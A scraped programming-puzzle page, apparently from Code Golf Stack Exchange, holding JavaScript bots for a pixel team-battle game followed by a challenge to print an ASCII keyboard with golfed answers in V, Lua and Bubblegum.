members. * Move away from enemy if continuously engaged for 200 turns. [Answer] **BLUE TEAM - 1 Point Awesome** ``` // 1PointAwesome by Grant Davis var myid=38941; //My ID for getMsg() var result=0; var leeway=1; //How close to follow enemy var gForce=3; //How strongly gravity effects x/y var futureDanger=true; //Modifier Random Generation var newX=Math.floor(Math.random()*3-1); var newY=Math.floor(Math.random()*3-1); var random10=Math.floor(Math.random()*2); var dangerArray=[[false,false,false],[false,false,false],[false,false,false]]; var gravityX,gravityY,antiGravityX,antiGravityY; //Sets defaults: gravity center if(move==1){setMsg("64,64");} //Change gravity when you have reached within 5 of gravity if(eNear.length==0){ if(Math.floor(Math.random()*2)==0){ if(parseInt(getMsg(myid).split(",")[0])-x<5&&parseInt(getMsg(myid).split(",")[0])-x>-5){setMsg(Math.floor(Math.random()*32)+","+getMsg(myid).split(",")[1]);} if(parseInt(getMsg(myid).split(",")[1])-y<5&&parseInt(getMsg(myid).split(",")[1])-y>-5){setMsg(getMsg(myid).split(",")[0]+","+Math.floor(Math.random()*32));} }else{ if(parseInt(getMsg(myid).split(",")[0])-x<5&&parseInt(getMsg(myid).split(",")[0])-x>-5){setMsg(Math.floor(Math.random()*32+96)+","+getMsg(myid).split(",")[1]);} if(parseInt(getMsg(myid).split(",")[1])-y<5&&parseInt(getMsg(myid).split(",")[1])-y>-5){setMsg(getMsg(myid).split(",")[0]+","+Math.floor(Math.random()*32+96));} } } //Pulls gravity from getMsg() and converts it into variables readable by the program if(x<parseInt(getMsg(myid).split(",")[0])+Math.floor(Math.random()*30-15)){gravityX=1;antiGravityX=-1;}else{gravityX=-1;antiGravityX=1;} if(y<parseInt(getMsg(myid).split(",")[1])+Math.floor(Math.random()*30-15)){gravityY=-1;antiGravityY=1;}else{gravityY=1;antiGravityY=-1;} //Modifier Random Generation, Gravity bias. if(Math.floor(Math.random()*gForce)!=0||x<31&&eNear.length==0||x>95&&eNear.length==0){newX=gravityX;} if(Math.floor(Math.random()*gForce)!=0||y<31&&eNear.length==0||y>95&&eNear.length==0){newY=gravityY;} //Avoid edges modifier: //Sets gravity to 64,64 when within 32 of an edge if(y<31&&eNear.length==0||y>95&&eNear.length==0){setMsg(getMsg(myid).split(",")[0]+",64");} if(x<31&&eNear.length==0||x>95&&eNear.length==0){setMsg("64,"+getMsg(myid).split(",")[1]);} //Targeting Modifier: //Does not modify if outnumbered //Tries to attack from above or below //If enemy escapes: look where the enemy was last at //Reset gravity if all targets if(eNear.length<=tNear.length+1&&eNear.length!=0){ setMsg(eNear[0]["x"]+","+eNear[0]["y"]); if(eNear[0]["x"]>x){newX=1;}else if(eNear[0]["x"]<x){newX=-1;}else{newX=0;} if(eNear[0]["y"]>y+leeway){newY=-1;}else if(eNear[0]["y"]<y-leeway){newY=1;} } //Anti loop Modifier: Removed due to minor strategy flaw //If I can get above or below a pixel, do it //If I can kill an enemy pixel, kill it for(var ep=0;eNear.length>ep;ep+=1){ if(eNear[ep]["x"]==x&&eNear[ep]["y"]-y==1){newY=-1;newX=0;} else if(eNear[ep]["x"]==x&&eNear[ep]["y"]-y==-1){newY=1;newX=0;} else if(eNear[ep]["x"]-x==-1){ if(eNear[ep]["y"]-y==1){newX=-1;newY=-1;} else if(eNear[ep]["y"]-y==-1){newX=-1;newY=1;} } else if(eNear[ep]["x"]-x==1){ if(eNear[ep]["y"]-y==1){newX=1;newY=-1;} else if(eNear[ep]["y"]-y==-1){newX=1;newY=1;} } } //Not allowed to move off screen. if(x==0){for(var i=0;i<=2;i+=1){dangerArray[0][i]==true;}} if(x==127){for(var i=0;i<=2;i+=1){dangerArray[2][i]==true;}} if(y==0){for(var i=0;i<=2;i+=1){dangerArray[i][0]==true;}} if(y==127){for(var i=0;i<=2;i+=1){dangerArray[i][2]==true;}} var originalNewX=newX; var originalNewY=newY; //Double checks movement made by previous code, and then turns it into a number that Pixel Team Battlebots can read for(var antiloop=0;futureDanger&&antiloop<20;antiloop+=1){ futureDanger=false; //When bot tries to move left or right, it will move diagonal. if(newX!=0&&newY==0){ newY=Math.floor(Math.random()*2); if(newY==0){newY=-1;} } if(eNear.length>0){ //Protocol Paranoid: When pixel attempts to move into dangerous square, The pixel will move into a different square, and recheck danger. for(var ep=0;ep<eNear.length;ep+=1){ //Checks for the danger level of the square pixel attempts to move in. if(Math.abs(eNear[ep]["x"]-(x+newX))==1 && eNear[ep]["y"]-(y-newY)<=1 && eNear[ep]["y"]-(y-newY)>=-1){ futureDanger=true; dangerArray[newX+1][Math.abs(newY-1)]=true; if(dangerArray[1][1]==false){newX=0;newY=0;}//When attempt to move into dangerous square, do nothing else if(dangerArray[gravityX+1][gravityY+1]==false){newX=gravityX;newY=gravityY;} else if(dangerArray[antiGravityX+1][gravityY+1]==false){newX=antiGravityX;newY=gravityY;random10=1;} else if(dangerArray[gravityX+1][antiGravityY+1]==false){newX=gravityX;newY=antiGravityY;random10=0;} else if(dangerArray[antiGravityX+1][antiGravityY+1]==false){newX=antiGravityX;newY=antiGravityY;} else if(dangerArray[1][gravityY+1]==false){newX=0;newY=gravityY;} else if(dangerArray[1][antiGravityY+1]==false){newX=0;newY=antiGravityY;} else{newX=originalX;newY=originalY;} } } }else//End of Protocol Paranoid if(antiloop==18){newX=originalNewX;NewY=originalNewY;} }//Big for end if(newY==1){result=2;}else if(newY==-1){result=1;} if(newX==1){if(result==2){result=3;}else if(result==1){result=6;}}else if(newX==-1){if(result==2){result=4;}else if(result==1){result=5;}} return result; ``` The pixel's priorities: * Never move into dangerous spaces (out of bound spaces are considered dangerous) * Kill if able * Move toward Enemy (the first one in eNear) as long as not outnumbered * Move away from edges * Go to enemies last known location * Go to where gravity is located Gravity is set to 64,64 at move 1 Gravity is set to nearest enemies location (to guide pixel to last enemy's location, if enemy escapes) Gravity changes randomly when pixel has reached center of gravity or when near the edge [Answer] # Red - LoyalFollower [15080] ``` var dangerValues = { killEnemy: -110, killMe: 160, nearEnemy: -20, killPair: -200, friendIsThere: 30, outside: 999, nearWall: 10, wayToMinos: -2, wayToFriend: -1, wayToEnemy: -4, wayToManyEnemies: 3 }; var moves = [ {newX: x, newY: y, danger: 0}, {newX: x + 1, newY: y, danger: 0}, {newX: x - 1, newY: y, danger: 0}, {newX: x + 1, newY: y - 1, danger: 0}, {newX: x - 1, newY: y - 1, danger: 0}, {newX: x - 1, newY: y + 1, danger: 0}, {newX: x + 1, newY: y + 1, danger: 0} ]; var closestEnemy = null; var closestFriend = null; var distance = function(x1, y1, x2, y2) { return Math.sqrt(Math.pow(x1 - x2, 2) + Math.pow(y1 - y2, 2)); }; var meKillable = function(meX, meY, himX, himY) { return (Math.abs(meY - himY) === 1 && Math.abs(meX - himX) <= 1); }; var enemyKillable = function(meX, meY, himX, himY) { return (Math.abs(meX - himX) === 1 && Math.abs(meY - himY) <= 1); }; for (i = 0; i < moves.length; i++) { if (moves[i].newX < 0 || moves[i].newY < 0 || moves[i].newX > 127 || moves[i].newY > 127) { moves[i].danger = dangerValues.outside; } if (moves[i].newX === 0 || moves[i].newX === 127 || moves[i].newY === 0 || moves[i].newY === 127) { moves[i].danger += dangerValues.nearWall; } for (var j = 0; j < eNear.length; j++) { if (closestEnemy === null || distance(x, y, closestEnemy.x, closestEnemy.y) > distance(x, y, eNear[j].x, eNear[j].y)) { closestEnemy = eNear[i]; } if (moves[i].newX === eNear[j].x && moves[i].newY === eNear[j].y) { if (eNear[j].id === 21487 || eNear[j].id === 2867) { moves[i].danger += dangerValues.killPair; } else { moves[i].danger += dangerValues.killEnemy; } } if (meKillable(moves[i].newX, moves[i].newY, eNear[j].x, eNear[j].y)) { moves[i].danger += dangerValues.killMe; } if (enemyKillable(moves[i].newX, moves[i].newY, eNear[j].x, eNear[j].y)) { moves[i].danger += dangerValues.nearEnemy; } } for (var j = 0; j < tNear.length; j++) { if (closestFriend === null || distance(x, y, closestFriend.x, closestFriend.y) > distance(x, y, tNear[j].x, tNear[j].y)) { closestFriend = tNear[i]; } if (moves[i].newX === tNear[j].x && moves[i].newY === tNear[j].y) { moves[i].danger += dangerValues.friendIsThere; } } } var bestDistanceToMinos = 200; var minos = 38926; var minosMsg = getMsg(minos); var manyEnemies = eNear.length > tNear.length; if (minosMsg !== '' && minosMsg !== undefined) { minosMsg = minosMsg.split(";"); var minosPos = {posX: parseInt(minosMsg[0], 10), posY: parseInt(minosMsg[1], 10)}; for (i = 0; i < moves.length; i++) { var distanceToMinos = distance(moves[i].newX, moves[i].newY, minosPos.posX, minosPos.posY); if (distanceToMinos < bestDistanceToMinos) { bestDistanceToMinos = distanceToMinos; } } } for (i = 0; i < moves.length; i++) { if (minosMsg !== '' && minosMsg !== undefined) { var distanceToMinos = distance(moves[i].newX, moves[i].newY, minosPos.posX, minosPos.posY); if (distanceToMinos === bestDistanceToMinos) { moves[i].danger += dangerValues.wayToMinos; } } if (closestFriend != null && distance(moves[i].x, moves[i].y, closestFriend.x, closestFriend.y) < distance(x, y, closestFriend.x, closestFriend.y)) { moves[i].danger += dangerValues.wayToFriend; } if (closestEnemy != null && distance(moves[i].x, moves[i].y, closestEnemy.x, closestEnemy.y) < distance(x, y, closestEnemy.x, closestEnemy.y)) { moves[i].danger += manyEnemies ? dangerValues.wayToManyEnemies : dangerValues.wayToEnemy; } } var bestMove = null; var leastDanger = 10000; for (i = 0; i < moves.length; i++) { if (moves[i].danger < leastDanger || (moves[i].danger === leastDanger && Math.random() < 0.5)) { leastDanger = moves[i].danger; bestMove = i; } } var newX = ("000" + moves[bestMove].newX).substr(-3, 3); var newY = ("000" + moves[bestMove].newY).substr(-3, 3); setMsg(newX + ";" + newY); return bestMove; ``` Tries to find Minos and kill enemies. Sadly, the red team still loses, maybe because we are less players... [Answer] # Blue Team - MiddleMan ``` // MiddleMan by Mwr247 // Self identification var id = 30793; // Bounds var minPos = 0; var midPos = 63; var maxPos = 127; // Movesets var up = [0, 4, 2, 3, 5, 1, 6]; var down = [0, 5, 1, 6, 4, 2, 3]; var left = [0, 4, 5, 2, 1, 3, 6]; var right = [0, 3, 6, 2, 1, 4, 5]; // Our grid var points = [0, 0, 0, 0, 0, 0, 0]; // Point system var bound = -100000; var death = -5000; var dodge = 500; var evade_best = 100; var evade_better = 50; var evade_good = 25; var evade_bad = -25; var evade_worse = -50; var evade_worst = -100; var kill = 4900; var enemy = 5; // Message var msg = [[], []]; // Normalize values var norm = function(val) { return Math.max(-1, Math.min(1, Math.round(val))); }; // Get detailed ent data var data = function(ent) { var info = {}; info.x = ent.x - x; info.y = ent.y - y; info.normX = norm(info.x); info.normY = norm(info.y); info.distX = Math.abs(info.x); info.distY = Math.abs(info.y), info.dist = Math.sqrt(Math.pow(info.x, 2) + Math.pow(info.y, 2)) return info }; // Set position value var pos = function(dir, index, val) { points[dir[index]] += val; }; // Set position value above/below var ver = function(dir, val) { pos(dir, 1, val); pos(dir, 2, val * 1.001); pos(dir, 3, val); }; // Set position value on the sides var hor = function(dir, val) { pos(dir, 1, val); pos(dir, 2, val); }; // Vertical bound logic if (y === minPos) { ver(up, bound); } else if (y === maxPos) { ver(down, bound); } // Horizontal bound logic if (x === minPos) { hor(left, bound); } else if (x === maxPos) { hor(right, bound); } // Enemy logic if (eNear.length) { var tmp; for (var i = 0; i < eNear.length; i++) { // Add the enemy to the message data msg[1].push([eNear[i].x, eNear[i].y]); tmp = data(eNear[i]); // We're touching, either attack or evade if (tmp.distY <= 1 && tmp.distX <= 1) { var d; if (tmp.distX !== 0) { // If we are not right above/below, current position is a death zone pos(up, 0, death); } if (tmp.distY === 0) { // Dodge like heck if (tmp.normX > 0) { hor(right, dodge); hor(left, evade_best); } else if (tmp.normX < 0) { hor(left, dodge); hor(right, evade_best); } pos(up, 2, death); pos(down, 2, death); } else { // We are above or below; finish them! d = tmp.y > 0 ? down : up; pos(d, 2 + tmp.normX, kill); if (tmp.normX === 0) { pos(d, 1, death); pos(d, 3, death); } else { pos(d, 2, death); } } } else if (tmp.distY <= 2 && tmp.distX <= 2) { // We're a spot away, don't get too close! var d; if (tmp.distY === 2) { // They are two below d = tmp.y === 2 ? down : up; if (tmp.distX === 0) { // Straight down pos(d, 1, death); pos(d, 3, death); pos(d, 2, dodge); pos(d, 5, evade_good); pos(d, 0, evade_best); } else if (tmp.distX === 1) { // One to the side pos(d, 2, death); pos(d, 2 + tmp.normX, dodge); pos(d, 5 + tmp.normX, evade_better); pos(d, 5 - tmp.normX, evade_bad); pos(d, 2 - tmp.normX, evade_worst); } else { // Diagonals pos(d, 2 + tmp.normX, death); pos(d, 5 + tmp.normX, evade_better); pos(d, 5 - tmp.normX, evade_bad); pos(d, 2, evade_worse); pos(d, 2 - tmp.normX, evade_worst); } } else { // They are to the sides d = tmp.normX === 1 ? right : left; if (tmp.distY === 0) { // Straight out hor(d, death); pos(d, 3, evade_better); pos(d, 4, evade_better); } else { // A little angled pos(d, 1 + (tmp.normY > 0), death); pos(d, 1 + (tmp.normY < 0), evade_best); } } } // If there's a horizontal enemy, head that way if (tmp.x > 0) { hor(right, enemy + 16 - tmp.x); } else if (tmp.x < 0) { hor(left, enemy + 16 - tmp.x); } // If there's a vertical enemy, head that way if (tmp.y > 0) { ver(down, enemy + 16 - tmp.y); } else if (tmp.y < 0) { ver(up, enemy + 16 - tmp.y); } } // If we're near an enemy, lets try to bring them towards our friends if (tNear.length) { for (var i = 0; i < tNear.length; i++) { tmp = data(tNear[i]); if (tmp.x > 0) { // Horizontal moves hor(right, 1 + (16 - tmp.x) / 4); } else if (tmp.x < 0) { hor(left, 1 + (16 - tmp.x) / 4); } if (tmp.y > 0) { // Vertical moves ver(down, 1 + (16 - tmp.y) / 4); } else if (tmp.y < 0) { ver(up, 1 + (16 - tmp.y) / 4); } } } } // If not fighting, be the middleman you really want to be if (y < midPos) { ver(down, 1); } else if (y > midPos) { ver(up, 1); } // Hang around the horizontal middle, safe from those nasty corners if (x < midPos) { hor(right, 1); } else if (x > midPos) { hor(left, 1); } else { pos(up, 0, 0.1); } // Evaluate our grid and find the winning move var max = 0; for (var i = 1; i < points.length; i++) { // If a clear winner, go with that. If there's a tie, randomize to keep things fresh if (points[max] < points[i] || (points[max] === points[i] && Math.round(Math.random()))) { max = i; } } // Set our new coordinates var nX = x + (max === 3 || max === 6) - (max === 4 || max === 5); var nY = y + (max === 5 || max === 1 || max === 6) - (max === 4 || max === 2 || max === 1); msg[0] = [nX, nY]; // Set our message setMsg(JSON.stringify(msg)); // Return the highest value move return max; ``` MiddleMan is the twin brother of WallFlower (whom he replaced). Like his brother, he doesn't tend to be a social kind of guy. He'd rather just hang out in the middle of the room, watching and waiting. But that's not to say he's passive or timid. While in his spot or on his way to it, if he finds an enemy, no matter the size, he'll charge in to take them on. Knowing there's strength in numbers, he'll gladly pull them towards any teammates he finds, or alternatively, towards the center in hopes of finding others. Once his business is done, he heads back to his spot, ready for the next opportunity to help his team. Beware, red team. While he may not seem like much, he's as fierce and persistent as they come; a master of close quarters solo fighting. He may not communicate directly with his team, but he does acknowledge them, and will work together to take down the common enemy. He has recently learned how to send messages, although he won't listen for any himself, just not his style. The format is a JSON string containing an array like this: `[[selfX,selfY],[[enemy1X,enemy1Y],[enemy2X,enemy2Y]]]`, and so on for more enemies. [Answer] **Blue Team** - VersaBot, a polymorphic engine My code will automatically follow the closest bot near it, providing additional firepower and protection. ``` // VersaBot - The PolyMorphic Companion // Copyright 2017.5 Sam Weaver // For this SO challenge: http://codegolf.stackexchange.com/questions/48353/red-vs-blue-pixel-team-battlebots //FUNctions var randInt = function(min,max) {return Math.floor((Math.random() * ((max + 1) - min)) + min);}; var degrees = function(radians) {return radians * 180 / Math.PI;}; //variables var me = 31743; var friendId; if(getMsg(me) == '') { friendId = 0; setMsg(friendId); } else { friendId = getMsg(me); } //first, check if any teammates nearby if(tNear.length > 0) { //loop through and see if friend is found var found = false; var fx,fy; for(var index in tNear) { var nearAlly = tNear[index]; //check if friend if(nearAlly.id == friendId) { //yay, let's follow 'em fx = nearAlly.x; fy = nearAlly.y; found = true; break; } } if(!found) { //pick the first friend to be a new friend friendId = tNear[0].id; fx = tNear[0].x; fy = tNear[0].y; } //NOW, let's follow'em //get the radian angle in relation to me var radAngle = Math.atan2(fy-y,fx-x); //to degrees we go! //console.log('friend'); var deg = Math.floor(degrees(radAngle)); //now reverse it so it works deg = -1*deg; //we can return the right direction now if(deg > 120) { return 4; //up left } else if(deg > 60) { return 2; //up } else if(deg > 0) { return 3; //up right } else if(deg < -120) { return 5; //down left } else if(deg < -60) { return 1; //down } else if(deg < 0) { return 6; //down right } //for some reason? return 0; } else { //pick a random direction return randInt(1,6); } ``` Enjoy! ]
[Question] [ ... Not that you would, would you? The task is simple, output the following text: ``` ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ ||` |||1 |||2 |||3 |||4 |||5 |||6 |||7 |||8 |||9 |||0 |||- |||= |||BS || ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| ________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ||TAB |||Q |||W |||E |||R |||T |||Y |||U |||I |||O |||P |||[ |||] |||\ || ||______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| |/______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| _________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ ||CAPS |||A |||S |||D |||F |||G |||H |||J |||K |||L |||; |||' |||ENTER || ||_______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| |/_______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| ___________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ___________ ||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ |||SHIFT || ||_________|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||_________|| |/_________\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_________\| ``` This is the keyboard of the future because in the future spaces are irrelevant, so are spacebars. --- To make things a little bit easier on you: 1. `0123456789ABC...XYZ-=[]\;',./` - These chars are on keys of length 6 (including padding). 2. `TAB / BS / ENTER` - These keys are of length 10 (including padding). 3. `CAPS` - This key is of length 11 (including padding). 4. `SHIFT` - This key is of length 13 (including padding, on both sides). --- Each individual key looks more or less like this: ``` ____ ||* || ||__|| |/__\| ``` However, you should make note that two consecutive keys are not: ``` ____ ____ ||* ||||* || ||__||||__|| |/__\||/__\| ``` But they are "conjoined": ``` ____ ____ ||* |||* || ||__|||__|| |/__\|/__\| ``` This challenge shouldn't be too bad, best of luck to you; don't miss out on abusing the repetition! But don't underestimate the "special" keys either ;). --- # Winning? Shortest code wins because it's [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") you know. [Answer] # [V](https://github.com/DJMcMayhem/V), ~~189, 179, 175, 164, 161, 157, 155, 149, 145, 141~~, 135 bytes ``` ¬¨19√â`A0-=BS¬¥ TAB¬≥ qwertyuiop[]\ CAPS¬≥ asdfghjkl;'ENTER SHIFT¬¥ √ÑJizxcvbnm,./√ç„A-Z ]/√ï& √ç√쬴√º$/|||& √≤√ô√ì„|]/_ √ô√ì√ó¬´/√ú|¬Ø kkP√ì/_ _ k√≤√éx$x ``` [Try it online!](https://tio.run/##K/v//9AaQ8vDnQmOBrq2TsGHtihwhTg6HdqsUFieWlRSWZqZXxAdG8Pl7BgQDBRMLE5JS8/Iys6xVnf1C3ENUuAK9vB0CwHqkj7c4pVZVZFclpSXq6OnL32491CLo26UQqz@4alqClyHew9PPrT68B4V/ZqaGjWuw5sOzwQKtNTE6sdzgZiHpx9arX94Ts2h9VzZ2QGHJ@vHK8RzZQOV9VWoVPz/DwA "V ‚Äì Try It Online") *This answer is now tweetable!* --- [Watch it run!](https://i.stack.imgur.com/gBpOD.gif) This is a slightly modified version that updates as it runs so you can sorta see how it works. This is an outdated version since I haven't gotten around to re-recording it yet, but the general approach is identical. This is probably the longest V answer ever written. It certainly didn't help that V's interpreter is extremely slow. It took me around an hour to write the first revision, but I've been repeatedly coming back to it to shave a couple bytes off each time. Since the full keyboard is 1215 bytes, currently this answer is 91% shorter than the output, so I'm pretty happy with the results. Since this contains some unprintable characters, and a lot of gross non-ASCII, here's a hexdump: ``` 00000000: ac31 39c9 6041 302d 3d42 53b4 200a 5441 .19.`A0-=BS. .TA 00000010: 42b3 2071 7765 7274 7975 696f 705b 5d5c B. qwertyuiop[]\ 00000020: 0a43 4150 53b3 2061 7364 6667 686a 6b6c .CAPS. asdfghjkl 00000030: 3b27 454e 5445 5220 0a53 4849 4654 b420 ;'ENTER .SHIFT. 00000040: 1bc4 4a69 7a78 6376 626e 6d2c 2e2f 1bcd ..Jizxcvbnm,./.. 00000050: 8441 2d5a 205d 2fd5 2620 0acd d3ab fc24 .A-Z ]/.& .....$ 00000060: 2f7c 7c7c 260a f2d9 d384 7c5d 2f5f 0ad9 /|||&.....|]/_.. 00000070: d3d7 ab2f dc7c af0a 6b6b 50d3 2f5f 205f .../.|..kkP./_ _ 00000080: 0a6b f2ce 7824 78 .k..x$x ``` ## How the heck does it work? Alright, this explanation is gonna be a doozy. You ready? First off, we need enter the letters so we can build up the keys around them. This is ``` ¬¨19√â`A0-=BS¬¥ TAB¬≥ qwertyuiop[]\ CAPS¬≥ asdfghjkl;'ENTER SHIFT¬¥ <esc>√ÑJizxcvbnm,./<esc> ``` Which inserts: ``` `1234567890-=BS TAB qwertyuiop[]\ CAPS asdfghjkl;'ENTER SHIFT zxcvbnm,./SHIFT ``` It enters it pretty straightforward, but there are a few tricks that we use to save characters. For example, `¬¨19` enters "123456789", `¬≥` enters three spaces, and we duplicate the shift so that we don't need to enter it multiple times. Note how the letters are lowercase here. This is so that we can easily distinguish between the uppercase keys like "ENTER" and the single letters. Writing them this way makes it easier to tell which characters to put a bar before, and only adds one byte to convert them to lowercase later. So we do a substitute command to convert these to uppercase, and add one space after each of them: ``` √ç " Globally replace [^A-Z ] " Anything but a uppercase alphabet character or a space / " with √ï& " The matched pattern made uppercase, followed by a space ``` Now, we take each key sequence (any run of non-whitespace), and put three bars before and after them: ``` √ç " Globally replace √쬴 " Any number of non-space characters √º " or $ " an end of line / " with ||| " Three bars & " And the matched pattern ``` At this point, the buffer looks like this: ``` |||` |||1 |||2 |||3 |||4 |||5 |||6 |||7 |||8 |||9 |||0 |||- |||= |||BS ||| |||TAB |||Q |||W |||E |||R |||T |||Y |||U |||I |||O |||P |||[ |||] |||\ ||| |||CAPS |||A |||S |||D |||F |||G |||H |||J |||K |||L |||; |||' |||ENTER ||| |||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ |||SHIFT ||| ``` Having three bars on the first and last columns is actually very convenient and ends up saving many bytes in the long run. And here is where we run one giant loop. This will convert something like this: ``` |||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ |||SHIFT ||| ``` into something like this: ``` ___________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ___________ ||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ |||SHIFT || ||_________|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||_________|| |/_________\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_________\| ``` Everything between two instances of `√≤` will run until an error happens, which will happen when we try to go up into a line that does exist yet. Since we just ran a *globally substitute* command, our cursor is on the last line, and we'll transform these working our way up. ``` √≤ " Recursively: √ô " Duplicate this line √ì " Substitute all on this line: [^|] " Anything but a bar / " With: _ " An underscore ``` This is the ``` |||_________|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||_________||| ``` line. ``` √ô " Duplicate this line √ì " Subsitute all on this line: √ó¬´ " A run of *non-word characters* (that is, [^0-9A-Za-z_]) / " With: √ú|¬Ø " '\|/' ``` This is the ``` \|/_________\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_________\|/ ``` Line. ``` kk " Move up two lines (to the original text with "SHIFT") P " Paste the last line we duplicated (the one with all the underscores) √ì " Substitute: " Since we don't give any regex here, it re-uses the last one " (a run of *non-word* characters) / " With: _ _ " '_ _' ``` This is the: ``` _ ___________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ___________ _ ``` Line. ``` k " Move up a line (this will throw an error, breaking the loop when we're done) √≤ " Endwhile ``` Now we have the full keyboard, but each line contains either an extra bar, an extra slash (forward or backward), or an extra underscore. *Super* easy fix ``` √é " On every line: x " Delete a character $ " Move to the end of the line x " and delete another character ``` After all that madness, the buffer is implicitly printed. [Answer] # Lua 5.3, ~~416~~ 394 Bytes. ``` k="` 1 2 3 4 5 6 7 8 9 0 - = BS|TAB Q W E R T Y U I O P [ ] \\|CAPS A S D F G H J K L ; ' ENTER|SHIFT Z X C V B N M , . / SHIFT"S={TAB=6,BS=6,ENTER=6,CAPS=7,SHIFT=9}for v in k:gmatch"[^|]+"do for i=1,4 do for s in v:gmatch"%S+"do l=S[s]or 2j=("_"):rep(l)io.write(i==1 and" _"..j.."_"or i==2 and"||"..s..(" "):rep(l-#s).."|"or i==3 and"||"..j.."|"or"|/"..j.."\\")end print(i>1 and"|"or"")end end ``` ## Ungolfed and with comments. ``` keys="` 1 2 3 4 5 6 7 8 9 0 - = BS|TAB Q W E R T Y U I O P [ ] \\|CAPS A S D F G H J K L ; ' ENTER|SHIFT Z X C V B N M , . / SHIFT" -- Define a keyboard. Separated with |'s, there's probably a nicer way to do this, but I'm not sure about how to yet. special_keys={TAB=6,BS=6,ENTER=6,CAPS=7,SHIFT=9} -- Special keys get special definitions for v in keys:gmatch"[^|]+" do -- For each row on the keyboard... for i=1, 4 do -- Each of the 4 rows per key... for s in v:gmatch"%S+" do -- Match each individual key. l=special_keys[s]or 2 j=("_"):rep(l) -- l is the length of the key, j is "_" repeated length times, which is used a bit. io.write(i==1 and -- Lua needs Switch Statements! " _"..j.."_" -- The top of the key is a Space, then j with two _'s around it. or i==2 and "||"..s..(" "):rep(l - #s).."|" -- Second row is || then the key, then the remaining whitespace, and then one more |, which chains together. or i==3 and "||"..j.."|" -- Third row is like the second, but without the key. Instead of whitespace, uses j, which is the underlines. or "|/"..j.."\\") -- Last row is like the third row, but with "|/" and "\" instead of "||" and "|" end print(i>1 and"|"or"") -- First line is the only line that doresn't need a "|", everything else gets a "|" before the newline. end end ``` ## Output ``` ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ ||` |||1 |||2 |||3 |||4 |||5 |||6 |||7 |||8 |||9 |||0 |||- |||= |||BS || ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| ________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ||TAB |||Q |||W |||E |||R |||T |||Y |||U |||I |||O |||P |||[ |||] |||\ || ||______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|| |/______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| _________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ________ ||CAPS |||A |||S |||D |||F |||G |||H |||J |||K |||L |||; |||' |||ENTER || ||_______|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||______|| |/_______\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/______\| ___________ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ___________ ||SHIFT |||Z |||X |||C |||V |||B |||N |||M |||, |||. |||/ |||SHIFT || ||_________|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||_________|| |/_________\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_________\| ``` I'm going to get destroyed by other langauges, but I thought I'd give this a shot. Nice amount of complexity, and atleast it's shorter than the keyboard! [Answer] # [Bubblegum](https://esolangs.org/wiki/Bubblegum), 191 bytes ``` 0000000: ad d2 35 7a c6 30 10 06 e1 5e a7 50 15 66 fe 99 ..5z.0...^.P.f.. 0000010: c1 8c 61 50 0e b2 87 8f 27 24 f7 eb af 78 2b e3 ..aP....'$...x+. 0000020: 3c b2 ae 99 1a 66 8d c8 a7 15 91 73 b8 80 4b b8 <....f.....s..K. 0000030: 82 6b b8 81 5b b8 83 1e 9c c1 31 8c 60 5e d9 66 .k..[.....1.`^.f 0000040: 22 46 c4 39 d1 c2 78 d6 a9 73 6f 5a d8 9b 18 ff "F.9..x..soZ.... 0000050: bb 5a e8 55 cf e6 fc ae 48 01 8f b0 82 12 6a 78 .Z.U....H.....jx 0000060: 86 7b 08 20 83 1c 5e e1 1d de e8 e5 7f 57 b4 d0 .{. ..^......W.. 0000070: 8b a9 9b f9 5e 5d 9d af c5 2c af 7e 82 cd a0 82 ....^]...,.~.... 0000080: 25 ac 61 03 5b 08 21 82 18 06 b0 0b ab b4 5e 95 %.a.[.!.......^. 0000090: ad 5e 5d 9d 2f d6 e9 f9 d2 c4 f2 bd aa 6d b0 ae .^]./........m.. 00000a0: ed 4f b1 17 78 82 05 3c c0 1c 52 48 e0 08 4e e0 .O..x..<..RH..N. 00000b0: 14 5a 77 fb 5e aa 58 be 97 aa 98 bf db 7c 01 .Zw.^.X......|. ``` [Try it 